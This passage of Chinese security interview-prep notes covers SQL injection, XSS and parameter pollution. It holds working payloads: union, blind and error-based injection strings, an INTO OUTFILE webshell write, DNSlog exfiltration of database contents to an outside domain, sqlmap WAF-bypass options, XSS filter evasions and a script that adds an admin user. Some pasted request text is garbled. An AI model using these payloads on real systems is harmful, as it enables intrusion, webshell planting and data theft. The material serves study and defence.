    xmlhttp.send("act=add&username=ajest&password=123.com&password2=123.com&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
    </script>
  • 抓包获取到的请求

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    POST /cms/admin/user.action.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 95
    Origin: http://127.0.0.1
    Connection: close
    Referer: http://127.0.0.1/cms/admin/user.add.php?act=edit&userid=30
    Cookie: username=admin; userid=1; PHPSESSID=he767h7viun2ig25ega7euu4l2
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: frame
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1

    act=edit&password=111111&password2=111111&button=%E4%BF%AE%E6%94%B9%E7%94%A8%E6%88%B7&userid=30
  • cms留言板插入xss 你好<script>xml_http= new XMLHttpRequest();

二十七、常见的漏洞的成因以及修复,如 sql 注入,xss,xxe 等等

  • 下面有总结,这里不写

二十八、说一下文件上传漏洞、shiro 反序列化漏洞、漏洞原理以及加固方式常见 web 漏洞产生的原因、危害和防御措施?

  • 下面有总结,这里不写

二十九、平常有挖到过那些未授权访问漏洞?常用的解析漏洞有哪些?

PHP的万能密码
Jenkins的未授权访问
还有Tomcat的未授权访问 任意文件读取

三十、向日葵的 rce 有了解嘛?有哪些常见的 RCE 漏洞?参数污染漏洞有哪些?

https://github.com/Mr-xn/sunlogin_rce

https://www.jianshu.com/p/bd5cb03b5591

常见红队RCE漏洞利用小结 - 简书(PDF)

  • 参数污染
    HTTP参数污染(HPP)是一种攻击技术,攻击者通过操纵HTTP参数以意外方式改变Web应用程序的行为。这种操纵是通过添加、修改或复制HTTP参数来实现的。这些操纵的效果对用户不直接可见,但可以显着改变服务器端应用程序的功能,在客户端方面产生可观察的影响。

HTTP参数污染(HPP)示例
银行应用程序的交易URL:

原始URL: https://www.victim.com/send/?from=accountA&to=accountB&amount=10000

通过插入额外的from参数:

操纵后的URL: https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC

交易可能会错误地计入accountC而不是accountA,展示了HPP操纵交易或其他功能(如密码重置、双因素认证设置或API密钥请求)的潜力。

PHP和HPP利用
OTP操纵案例:

背景: 一个需要一次性密码(OTP)的登录机制被利用。

方法: 通过使用Burp Suite等工具拦截OTP请求,攻击者复制了HTTP请求中的email参数。

结果: OTP原本应发送到初始电子邮件地址,但却发送到了操纵请求中指定的第二个电子邮件地址。这个漏洞允许绕过预期的安全措施,未经授权地访问。

这种情况突显了应用程序后端的一个关键疏忽,该后端处理第一个email参数以生成OTP,但使用最后一个参数进行传递。

API密钥操纵案例:

场景: 一个应用程序允许用户通过个人资料设置页面更新他们的API密钥。

攻击向量: 攻击者发现通过向POST请求附加额外的api_key参数,可以操纵API密钥更新功能的结果。

技术: 利用Burp Suite等工具,攻击者构造了一个请求,其中包括两个api_key参数:一个合法的,一个恶意的。服务器只处理最后一个出现的参数,将API密钥更新为攻击者提供的值。

结果: 攻击者控制了受害者的API功能,可能未经授权地访问或修改私人数据。

这个例子进一步强调了安全参数处理的必要性,特别是在像API密钥管理这样关键的功能中。

参数解析:Flask vs. PHP
Web技术处理重复HTTP参数的方式不同,影响它们对HPP攻击的易受性:

Flask: 采用遇到的第一个参数值,例如在查询字符串a=1&a=2中优先考虑初始实例a=1而不是后续的重复。

PHP(在Apache HTTP服务器上): 相反,优先考虑最后一个参数值,在给定示例中选择a=2。这种行为可能会无意中促成HPP攻击,通过优先考虑攻击者操纵的参数而不是原始参数。

第七章 注入

一、说一下一个注入漏洞挖掘的全流程

mysql 5.0以下为低版本,5.0以上为高版本(有information_schema数据库)这个数据库是存储所有数据库名,表名,列名,相当于可以通过查询这个数据库获取指定数据库下面的表名列名信息。

  1. 判断是否有注入点(常规一点的是看引号闭合情况和报错情况)
  2. 通过是否报错/回显判断使用哪种注入方式
    • 如果报错,有回显位
      • 尝试拼凑Payload,常见的是通过union select,order by,group by等等
      • id=1’ and 1=2 UNION SELECT 1,database(),3 –+
      • id=1’ and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata –+
      • ?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
      • SQLmap,注意别被封IP
      • 上字典
    • 如果报错,无回显位
      • 报错注入
      • 0x7e是“”符号的十六进制表现形式,而concat函数的作用就是将“”符号与select user()
      • concat_ws(0x7e,database(),use()),
        查询的结果进行拼接成字符串,使报错信息中携带完整的查询信息。
      • id=1’ and exp(~(select * from (select user())a))–+ bigint溢出
      • updatexml(),extractvalue()构造不符合Xpath的路径进行使用
      • 结合substr(有位数限制)
    • 不报错,但是也没有回显
      • 布尔盲注
      • 根据返回的时间判断语句是否正确
      • 1’and if(length(database())>0,sleep(5),0)#
      • 1’and if((select count(*) from information_schema.tables where table_schema=database())>3,sleep(3),0)#

        二、给你一个网站,你一般会去哪些地方寻找 sql 注入

  • 一般会去搜索框,登录框,注册框,评论框,后台管理页面,一些参数传递的地方,比如id=1,name=1等等 (POST)
  • 一般会去看一下url,看一下是否有参数,然后尝试注入(GET)
  • Headers,看一下是否有一些特殊的参数,比如token,cookie等
    • xff有些时候取值,可以也可以
    • 数据交互的都有可能
      • 源码,cms代码审计

三、sql 注入可以 getshell 吗?如何 getshell?

有sql注入试着––is–dba,如果有有绝对路径就––os–shell,不行扫后台,尝试用管理员账户密码登录

  • ?id=-3’)) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile ‘C:\xxxxxx\phpStudy\WWW\outfile.php’ –+
  • web目录具有写权限,能够使用单引号 知道网站绝对路径(根目录,或则是根目录往下的目录都行) secure_file_priv没有具体值(在mysql/my.ini中查看)
  • dnslog注入:即,dns带外查询是属于Mysql注入的一种方法,可以通过查询相应的dns解析记录,来获取我们想要的数据
  • http://www.dnslog.cn
    http://ceye.io
    也可以自己手动搭建,工具地址:https://github.com/bugscanteam/dnslog/
    • 找到dns域名
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      GET /bwwa/vul/sqli/sqli-bool-cookie-str.php HTTP/1.1
      Host: www.baynk.com
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
      Accept text/htmlapplication/Xhtml+xmlapplication/xmlq-0.9:/*9=0.8
      Accept-Language: zh
      Accept-Encoding: gzip, deflate
      Referer: http://www.baynk.com/bvwa/vul/sqli/sqli-bool-cookie-str.php
      Cookie: uname=admin" union select load file(concat(llll.(select
      hex(databaseO))):g 5ucgd.dnslog.cnlltest))#;PHPSESSID= uefqpdo94ld4b3r26g 8npklkj7
      X-Forwarded-For: 127.0.0.1
      Connection: close
      Upgrade-Insecure-Requests: 1
      Cache-Control: max-age=0
      主要是找可执行的文件路径,可以写木马用antsword连

四、sql 注入不能使用 and 和 or,你如何开始你的注入?说一下 Sql 注入的危害、原理与修复

  1. MySQL中的大小写不敏感,大写与小写一样。

  2. MySQL中的十六进制与URL编码

  3. 符号和关键字替换and – &&、or–||

  4. 内联注释与多行注释

  5. 过滤关键字

过滤关键字应该是最常见的过滤了,因为只要把关键字一过滤,你的注入语句基本就不起作用了。

绕过方法:
(1)最常用的绕过方法就是用//,<>,分割关键字
sel<>ect
sel/
/ect
(2)根据过滤程度,有时候还可以用双写绕过
selselectect
(3)既然是过滤关键字,大小写应该都会被匹配过滤,所以大小写绕过一般是行不通的。
(4)有时候还可以使用编码绕过
url编码绕过
16进制编码绕过
ASCII编码绕过

  1. 过滤逗号

常见的几种注入方法基本上都要使用逗号,要是逗号被过滤了,那就只能想办法绕过了。

绕过方法:
(1)简单注入可以使用join方法绕过
原语句:

union select 1,2,3
join语句:

union select * from (select 1)a join (select 2)b join (select 3)
(2)对于盲注的那几个函数substr(),mid(),limit

substr和mid()可以使用from for的方法解决
substr(str from pos for len) //在str中从第pos位截取len长的字符
mid(str from pos for len)//在str中从第pos位截取len长的字符
limit可以用offset的方法绕过
limit 1 offset 1
使用substring函数也可以绕过
substring(str from pos) //返回字符串str的第pos个字符,索引从1开始

  1. 过滤空格
    空格被过滤有以下几种方法绕过:

(1)双空格
(2)/**/
(3)用括号绕过
(4)用回车代替 //ascii码为chr(13)&chr(10),url编码为%0d%0a

  1. 过滤等号
    如果等号被过滤了我们可以用 like 代替
    使用like 、rlike 、regexp 或者 使用< 或者 >

  2. 过滤大于小于号
    盲注中我们经常需要用到比较符,如果他们被过滤了,我们可以用以下几种方法绕过:

1)greatest(n1,n2,n3,…) //返回其中的最大值
(2)strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
(3)in 操作符
(4)between and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。

  1. 等价函数绕过

hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
或者: substr((select ‘password’),1,1) = 0x70
strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1

  1. 根据注入情况使用注入方式

使用id=1进行尝试尝试 继续使用order by 查询显示位 union select 1,2,3 查询无显示,即无法得到显示位或无法得到列数时放弃使用联合查询
尝试使用报错语句?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1) –+等没有报错信息显示时放弃使用报错注入
尝试使用布尔盲注和时间盲注(建议使用工具进行注入)

五、说一下 SQL 注入绕 waf(安全狗,云锁)的思路说一下 sql 手工注入流程

基本同上

六、已知一个注入点,并且已经知道怎么绕过 waf,但是取数据的时候没有任何回显怎么办?(面试官告诉我是利用 DNSlog 和 VPS 的 log,不是很懂)

DNSlog OOB
DNSlog注入的步骤如下:

首先,需要一个可以记录DNS请求的平台,例如dnslog.cn和ceye.io。在这个平台上,可以获取一个专属的子域名,例如xxx.dnslog.cn,并且可以查看该子域名下所有的DNS请求记录。
然后,需要构造一个包含数据库信息的子域名,例如(select database()).xxx.dnslog.cn。这个子域名可以使用MySQL的函数或者操作符来拼接,例如concat、replace、substr等。
接着,需要使用MySQL的load_file函数或其他方法,让目标服务器向DNS服务器发起解析请求。例如,使用以下语句:
select load_file(concat(‘\\’,(select database()),‘.xxx.dnslog.cn/abc’));
这个语句会让目标服务器尝试从(select database()).xxx.dnslog.cn/abc这个地址加载文件,从而触发DNS解析请求。
最后,需要在DNSlog平台上查看DNS请求记录,就可以获取数据库信息了。例如,在上面的例子中,如果数据库名为security,那么就会看到security.xxx.dnslog.cn这样的记录。
DNSlog注入需要注意的点:

由于每一级域名的长度只能为63个字符,所以在MySQL中获取到超过63个字节的字符时,会被当作一个错误的域名,不会产生去解析的动作。所以需要控制查询结果的字符长度在63个以内。

由于URL中传递的字符非常有限,很多特殊字符如{,},!,等是无法传递的。这就会导致load_file函数失效。所以需要对查询结果进行hex编码,然后再使用16进制解码网站来还原结果。

DNSlog注入的条件
目标服务器可以发起DNS请求,即可以访问外部网络。

目标服务器可以执行一些函数或命令,如load_file、exec、curl等,用于向DNS服务器发送域名查询。

攻击者拥有一个自己的域名,并能够配置NS记录和获取DNS日志,用于接收目标服务器发送的域名查询信息。

目标服务器返回的数据不超过域名长度限制(63个字符),并且不包含特殊符号,否则会导致DNS查询失败。

防止DNSlog注入的几个措施
限制目标服务器对外部网络的访问权限,禁止或过滤掉不必要的DNS请求。
对目标服务器执行的函数或命令进行严格的输入验证和过滤,防止攻击者注入恶意的域名或URL。
my.ini中secure_file_priv值设置为null

七、说一下 SQL 注入修复建议

  • 符号白名单
  • 参数化查询
    • 个人理解是将一些字段设置为参数传递,而不是拼接,这样参与SQL查询的输入只作为一个变量进行输入,而不值整体SQL进行运行
  • 预编译

八、SQL 注入产生的原因是什么?如何防御?是如何进行挖掘的?说一下 SQL 注入语句二分法

没有过滤,或者对用户的输入进行合法性检验
书写不规范的SQL,导致了一些涉及到敏感信息的操作

防御:同上
挖掘:同上

二分布尔盲注(或者猜解):
https://erzbir.com/archives/boolean-based-blind-sql-injection

九、怎样判断 sql 注入是否执行成功?说一下 sql 注入的类型和检测方法

和预期结果相同,或者有回显

SQL注入类型:
数字型注入和字符型注入是SQL注入主要的两种类型,除此之外还有GET注入、POST注入、COOKIE注入、HTTP注入等类型

检测:

  1. 代码审查
    手动或使用自动化工具对应用程序的源代码进行审查。

  2. 渗透测试
    可以通过模拟恶意攻击,测试应用程序对SQL注入的脆弱性。测试人员可以尝试输入恶意的SQL语句,观察应用程序的反应,以确定是否存在SQL注入漏洞。

  3. 静态分析
    使用静态代码分析工具对代码进行扫描,以识别潜在的SQL注入风险。这些工具可以自动检测出代码中的模式或漏洞,并提供修复建议。

  4. 动态分析
    通过监控应用程序的运行时行为,分析是否存在潜在的SQL注入风险。这种方法涉及到在实际环境中运行应用程序并观察其行为,例如通过抓包工具查看网络流量,以确定是否存在未经适当过滤的用户输入。

  5. 异常检测
    建立应用程序的行为基线,通过监控和对比应用程序的实际运行数据,发现异常行为

十、sql 盲注字符串截取函数同时过滤了逗号和单引号怎么办?知道堆叠注入吗?

union select 1,2,3
join语句:
union select * from (select 1)a join (select 2)b join (select 3)

堆叠注入:
平常我们注入时都是通过对原来sql语句传输数据的地方进行相关修改,注入情况会因为该语句本身的情况而受到相关限制,例如一个select语句,那么我们注入时也只能执行select操作,无法进行增、删、改,其他语句也同理,所以可以说我们能够注入的十分有限。但堆叠注入则完全打破了这种限制,其名字顾名思义,就是可以堆一堆sql注入进行注入,这个时候我们就不受前面语句的限制可以为所欲为了。其原理也很简单,就是将原来的语句构造完后加上分号,代表该语句结束,后面在输入的就是一个全新的sql语句了,这个时候我们使用增删查改毫无限制。

mysqli_multi_query

注意使用条件

十一、说一下宽字节注入的原理以及为什么会产生这个漏洞?

数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此\转义符号会被前面的bf带着”吃掉”,单引号由此逃逸出来可以用来闭合语句。

PHP网站与数据库的编码不一致时,就会在一些字符的解析上出现差异,这也就产生了宽字节注入的漏洞。如果站点PHP使用的是UTF-8的编码而数据库使用的是GBK的编码,则很大概率上存在宽字节注入的问题。
宽字节注入漏洞可以绕过站点对引号进行转义的防护。为了防止SQL注入漏洞,站点有时会在代码中加入如下函数:addslashes()、mysql_real_escape_string()、mysql_escape_string()。这些函数可以对我们输入的内容进行转义,转义的本质是在引号前面添加一个斜杠“\”,而斜杠“\”的本质(编码)又是%5C。如果数据库的编码是GBK的编码,那么两个字节被认为是一个字符,因此我们就可以通过构造合适的payload,使得斜杠%5C与前面的字符编码组合,从而绕过对后面单引号的过滤。
常见的宽字节注入payload为%DF%27,在这里,%27为单引号的字符编码。如果addslashes()等函数检测到引号,并在前面添加斜杠“\”,那么上面的payload就变成了%DF%5C%27,那么由于数据库使用的是GBK编码(一种宽字节编码),因此认为%DF%5C是一个汉字,这样我们的引号就能够正常发挥作用了。

root %df’ or 1=1 #
GBK编码中,反斜杠的编码是%5c,在输入%df后,使得添加反斜杠后形成%df%5c,而%df%5c是繁体字”連”,单引号成功逃逸,爆出mysql数据库的错误

本质上还是单引号逃逸

十二、sql 注入,怎么判断数据库?盲注和延时注入的共同点?

Oracle
port:1521
SQL Server
port:1433
MySQL
port:3306

能直接看:version,报错信息

不能直接看:通过查询语句的一些特定函数;或者是一些表

共同点:

使用二者的前提是,在参数错误的情况下(例如:1’)不会返回报错信息

布尔盲注:在正确与错误参数下,页面返回的信息有所不同
延时盲注:不论输入正确或错误参数,页面没有明显区别

时间盲注更像是布尔盲注的升级,布尔盲注的时候比较直观的变化
所以这个时候基于时间的盲注,也就是在基于布尔的盲注上结合if判断和sleep()或benchmark()函数来得到一个时间上的变换延迟的参照,也就可以让我们进行一些判断

十三、sqlserver 注入怎么利用思路?

  • 看是不是dba,infile写木马

十四、sql 注入的修复防护方式,常用的报错函数,盲注时间型函数除了 sleep,还有哪些?怎么去预防 SQL 注入?

同上

除了sleep,还有一些时间函数,如benchmark()
还有配合if的函数

十五、SQL 注入怎么写 shell?

loadfile

十六、SQL 注入写 shell 的时候写不上去要注意什么?怎么判断一个网站有无注入,用什么函数注?说一下常见的报错注入函数,及其原理以及区别存在注入但是没有异常回显怎么办?

同上

十七、sql 注入用 sqlmap 跑不出来怎么办?前后端分离,且前端为全静态的话,怎么去判断注入?

手工注入,这种有可能是伪静态站,常规注入然后再往后看看

前端纯静态可能看看有没有插件了,从插件入手

十八、sql 注入怎么测?使用 sqlmap 跑的详细过程,使用的哪些参数?支持哪几种类型的 sql 注入?怎么修复的?

-u 指定目标URL
–dbs 列出所有数据库
–current-db 列出当前数据库
–tables 列出当前表
–columns 列出当前列
-D 选择使用哪个数据库
-T 选择使用哪个数据表
-C 选择使用哪个列
–dump 获取字段中的数据
–batch 自动选择yes
–smart 启发式快速判断,节约时间
–tamper 调用脚本
-v 指定回显等级
–delay 设置多久可以访问一次,例如–delay 10 每十秒访问一次
–os-shell 获取主机shell,一般不是很好用,因为没权限
-data 指定数据,以post方式提交
-timeout 设定超时时间
-level 设置注入探测等级
–risk 风险等级
–identity-waf 检测防火墙类型
–thread 多线程,最大为10

apostrophemask.py 将引号替换成UTF-8,用于过滤单引号
base64encode.py 替换成base64编码
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+号代替空格
nonrecursivereplacement.py 作为双重查询语句,用双重语句替换预定义的SQL关键字
space2randomblank.py 将空格替换为其他有效字符
unionalltounion.py 将union all select 替换成union select
securesphere.py 追加特制的字符串
space2hash.py 将空格替换为#号,并添加一个随机字符串和换行符
space2mssqlblank.py(mssql) 将空格替换成其他空符号
space2mssqlhash.py 将空格替换为#号,并添加一个换行符
between.py 用not between 0 and替换大于号,用between and替换等于号
percentage.py ASP允许每个字符前面添加%号
sp_password.py 从DBMS日志的自动模糊处理的有效载荷追加sp_password
charencode.py 对给定的payload全部字符使用URL编码
randomcase.py 随机大小写
charunicodeencode.py 字符串Unicode编码
space2comment.py 将空格替换成//
equaltolike.py 将等号替换为like
greatest.py 绕过对大于号的过滤,用GREATEST替换大于号
ifnull2ifsnull.py 绕过对ifnull的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)
modsecurityversioned.py 过滤空格,使用MySQL内联注释的方式进行注入
space2mysqlblank.py 将空格替换为其他空白符号(适用于MySQL)
modsecurityzeroversioned.py 使用MySQL内联注释的方式进行注入
space2mysqlhash.py 将空格替换为–,并添加一个换行符
bluecoat.py 在SQL语句之后用有效的随机空白替换空格符,随后用like替换等于号
versionedkeywords.py 注释绕过
halfversionedmorekeywords.py当数据库为MySQL时绕过防火墙,在每个关键字之前添加MySQL版本注释
space2moreshash.py 将空格替换为#号,并添加一个随机字符串和换行符
apostrphenullencode.py 用非法双字节Unicode字符替换单引号
appendnullbyte.py 在有效负荷的结束位置加载零字节字符编码
chardoubleencode.py 对给定的payload全部字符使用双重url编码
unmagicquotes.py 用一个多字节组合和末尾通用注释一起替换空格
randomcomments.py 用/
/分割SQL关键字

sql 注入没有写入权限怎么提权?

MySQL数据库提权的方式
UDF提权
MOF提权
启动项提权

UDF
UDF(用户定义函数)是一类对MySQL服务器功能进行扩充的代码,通过添加新函数,性质就像使用本地MySQL函数absO)或concat0。当需要扩展MySQL服务器功能时,UDF通常是最好的选择。但同时,UDF也是黑客们在拥有低权限MySQL账号时比较好用的一种提权方法

UDF提权适用场合
拥有MySQL中的某个用户账号,该账号有对MySQL的insert和delete权限

sql 注入没有高权限,能进行什么什么操作?说一下 sql 注入低权限 getshell 方式

提权不太了解,目前能想到的就是利用loadfile文件写到可执行目录

说一下 sql 注入 dba 权限 getshell 方式

  • 判断注入点
  • 判断dba用户
  • loadfile查看网站根目录
  • 找找mysql的登录入口,登录等等

sql 注入利用文件上传 doocker 怎么挂载目录到本地? sql 时间函数有哪些?

  • 不太了解

sql 注入 post 请求怎么用 sqlmap 扫?

-r file
–data=”postdata”

SQL 注入除了读数据库还能干什么?说一下 SQL 注入读写文件的命令

SQL 注入能够成功读取文件的前提条件是什么?SQL 注入时间函数有哪些?

Oracle 时间注入函数有哪些?

SQL 注入 mysql 读写文件的配置是什么?SQL 注入报错函数有哪些?

如何判断是盲注?说一下布尔盲注和时间盲注的区别宽字节注入在代码层面的原理是什么?

如果时间盲注脚本因为网络波动 怎么去提高效率?时间盲注 python 脚本怎么去判断真的 sleep 了 10s?

Mysql sqlserver oracle 注入时怎么去区分或者简单说一下区别?

说说你对 Oracle 注入的操作情况,假如我要注入 Oracle 数据库的用户名该如何注入?

sql 盲注用哪些函数?有没有绕过 waf?屏蔽了空格用什么替换?如果屏蔽了 if 用什么函数替换?SQL 注入怎么绕 waf?绕过方式?注入被转义如何突破、二次注入?

时间盲注怎么去判断权限?说一下 mysql8.0 注入漏洞知不知道 JDNI 注入?

id=1 怎么去注入?

第九章 XSS

说一下 XSS 原理与防御与修复

原理:
符号(<)被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
总结后为三点。

①攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)。
②诱使受害者打开受到攻击的服务器URL。
③受害者在Web浏览器中打开URL,恶意脚本执行。

防御:XSS防御的总体思路是: 对输入进行过滤,对输出进行编码

httpOnly:在 cookie 中设置 HttpOnly 属性后,js脚本将无法读取到 cookie 信息。

输入过滤:一般是用于对于输入格式的检查,例如:邮箱,电话号码,用户名,密码……等,按照规定的格式输入。
不仅仅是前端负责,后端也要做相同的过滤检查。因为攻击者完全可以绕过正常的输入流程,直接利用相关接口向服务器发送设置。

转义 HTML:如果拼接 HTML 是必要的,就需要对于url中的引号,尖括号,斜杠进行转义,但这还不是很完善.想对 HTML 模板各处插入点进行充分的转义,就需要采用合适的转义库。
例如:·htmlspecialchars()·函数把一些预定义的字符转换为 HTML 实体

#预定义的字符是:
& (和号) 成为 &amp
“ (双引号) 成为 &quot
’ (单引号) 成为 &#039
< (小于) 成为 &lt

(大于) 成为 &gt
白名单:对于显示富文本来说,不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉。
这种情况通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使用白名单的方式。

XSS 有哪些类型?存储型 XSS 一般搭配哪些漏洞一起利用?存储型 XSS 的 payload 是什么样的?

分类:
反射型(非持久):最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
就是利用get请求,往网页的url中加入特定的参数,欺骗用户执行这个url,后端服务器接收到恶意参数后,给前端用户反应恶意数据

存储型(持久型):最直接的危害类型,跨站代码存储在服务器(数据库)
通过使用网页的提交功能(如留言板),将代码写入到后端文件或数据库中。
别的用户访问页面时,服务器返回的数据中就包含这些恶意代码

DOM型:客户端脚本处理逻辑导致的安全问题。
类似反射型,也是构造恶意url参数,但由浏览器直接执行js,可以脱离后端服务器

存储型XSS一般搭配哪些漏洞一起利用?
存储型XSS一般搭配CSRF漏洞一起利用,通过CSRF漏洞,攻击者可以在用户不知情的情况下,向服务器发送恶意请求,将恶意代码存储到服务器中,当用户访问页面时,服务器返回的数据中就包含这些恶意代码。

存储型XSS的payload是什么样的?
https://github.com/payloadbox/xss-payload-list

如果你知道一个地方存在 XSS 漏洞,但是 alert 被过滤了,你该怎么办?

https://www.cnblogs.com/zha0gongz1/p/12732356.html

添加空格、TAB、回车、换行:alert%20(/xss/)、alert%0A(/xss/)、alert%0D(/xss/)、alert%09(/xss/)

添加多行注释:alert/abcd/(/xss/)

添加注释换行:alert//abcd%0A(/xss/)、confirm//abcd%0D(/xss/)

XSS绕过

1)对前端的输入字符数量限制
可以尝试进行抓包重发或者修改前端的HTML中的长度限制。

2)后台对输入的内容进行正则匹配来过滤输入
对于这样的过滤可以考虑大小写混合输入的方法。

payload:

1
<sCRipT>alert('你打篮球像boy')</sCrIPt>

3)后台对输入的内容进行替换
采用拼拼凑的输入方法。

payload:

1
<sc<script>ript>alert('你打篮球像boy')</scr<script>ipt>

4)使用注释来干扰后台对输入内容的识别。
payload:

1
2
3
4
5
6
7
8
9
```
5)编码
思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的)

例1:一次编码案例

#使用事件属性onerror()的原始payload:
```html
<img src=# onerror=alert('yangshuang')"/>

#使用HTML_ENTITY编码后的payload:

1
<a src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#121;&#97;&#110;&#103;&#115;&#104;&#117;&#97;&#110;&#103;&#39;&#41;"/>

例2:多次编码案例解析如下编码

#原始payload

1
2
3
4
5
6
<a herf="javascrips:alert(XSS)">  </a>
#使用unicode的UTF-16编码alert这个字符
<a herf="javascrips:\u0061\u006C\u0065\u0072\u0074(XSS)"> </a>
#再用url编码alert的中间结果
<a herf="javascrips:%5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074(XSS)"> </a>
#最后用html实体编码,再编码整个payload

太长了,略

6)htmlspecialchars()函数绕过:
#该函数的语法:
htmlspecialchars(string,flags,character-set,double_encode)
#可用的quotestyle类型:
ENT_COMPAT - 默认。仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
#预定义的字符是:
& (和号) 成为 &amp
“ (双引号) 成为 &quot
’ (单引号) 成为 &#039
< (小于) 成为 &lt

(大于) 成为 &gt
过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号

默认配置下,可使用以下语句绕过:
q’ onclick=’alert(111)’
7) href 绕过:
当输入的值在 a 标签 herf 里

payload: javascript:alert(1111)
直接代入 a 标签 herf 里面,一样可以绕过 htmlspecialchars()函数

8)xss之js输出绕过:
当目标是用JavaScript脚本输出的,只需闭合原有的表情即可插入代码

payload:

1
<script> $ms='          11111111'</script><script>alert(1111)</script> ;

9)标签绕过
当输入< script >alert(XSS);</ script >没有反应的时候
可以再前边加上<svg>

1
<svg><script>alert(XSS);</script>

当浏览器解析到<svg>标签时,浏览器就开始使用一套新的标准开始解析后面的内容,直到碰到闭合标签。而在这一套新的标准遵循XML解析规则,在XML中实体编码会自动转义,重新来一遍标签开启状态,此时就会执行xss了。

XSS 的类型有哪些?说一下 DOM 型的原理

同上

DOM原理:
①攻击者构造出特殊的 URL,其中包含恶意代码。
②用户打开带有恶意代码的 URL。
③用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。

IE 浏览器中怎么防 xss?

X-XSS-Protection

用什么工具快速发现 xss 漏洞?

XSS-Exploitation-Tool
XSS-Strike

说一下 xss 反射型和 dom 有什么区别?

反射型XSS:攻击者构造一个参数包含恶意js代码的URL,诱骗用户点击,用户访问后向服务器发送请求,服务器响应包含恶意代码的页面,并在客户端执行。例如服务器后端存在PHP代码echo ‘

Hello ' . $_GET[ 'name' ] . '
‘;,参数name传入js代码后,则会在服务器生成恶意页面,然后返回给客户端执行

存储型XSS:攻击者通过网页的留言、评论等交互处将恶意代码注入到服务器数据库中,用户请求后响应包含恶意代码的页面

DOM型XSS:攻击者构造一个参数包含恶意js代码的URL,诱骗用户点击,用户访问后向服务器发送请求,服务器的响应并不包含恶意代码,而是URL中的代码直接在本地浏览器由js执行。例如下面的html页面,当URL的参数a传入js恶意代码后,会直接被html内嵌的js代码写入到html中,并不需要经过服务器的处理

xss 怎么运用?

也就是危害

浏览器中执行其预定义的恶意脚本如劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫,甚至破坏网站、修改路由器配置信息等

xss 为什么会出现?

用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行

.说一下 XSS 三种类型的原理及绕过 xss 怎么利用?短链接是怎么写的?测试 xss 的时候用的哪些事件函数?说一下 Xss 盲打、利用

判断静态document.lastModified
短连接服务
https://blog.csdn.net/qq_36374896/article/details/82755793

  1. xss钓鱼
    首先就是我们遇到可以进行注入的方框,可以注入一个js代码构造登录页面,然后就可以将登录信息发送到我们的xss后台中。

  2. xss盲打
    xss盲打就是在不知道是否存不存在xss漏洞的情况下,进行注入代码进行测试,然后如何存在,就可以进行注入js代码进行攻击
    主要还可以偷sessionid或者什么的,冒充管理员

XSS 右括号过滤了怎么绕过?xss 尖括号过滤怎么绕过?XSS 的 DOS 型有复现过吗?

  1. 编码
  2. 大小写和关键字双写
  3. 字符拼接

有没有尝试过用 xss 平台?说一下 xss 平台钓鱼原理?怎么会执行?xss 有什么方法可以让他执行 js?

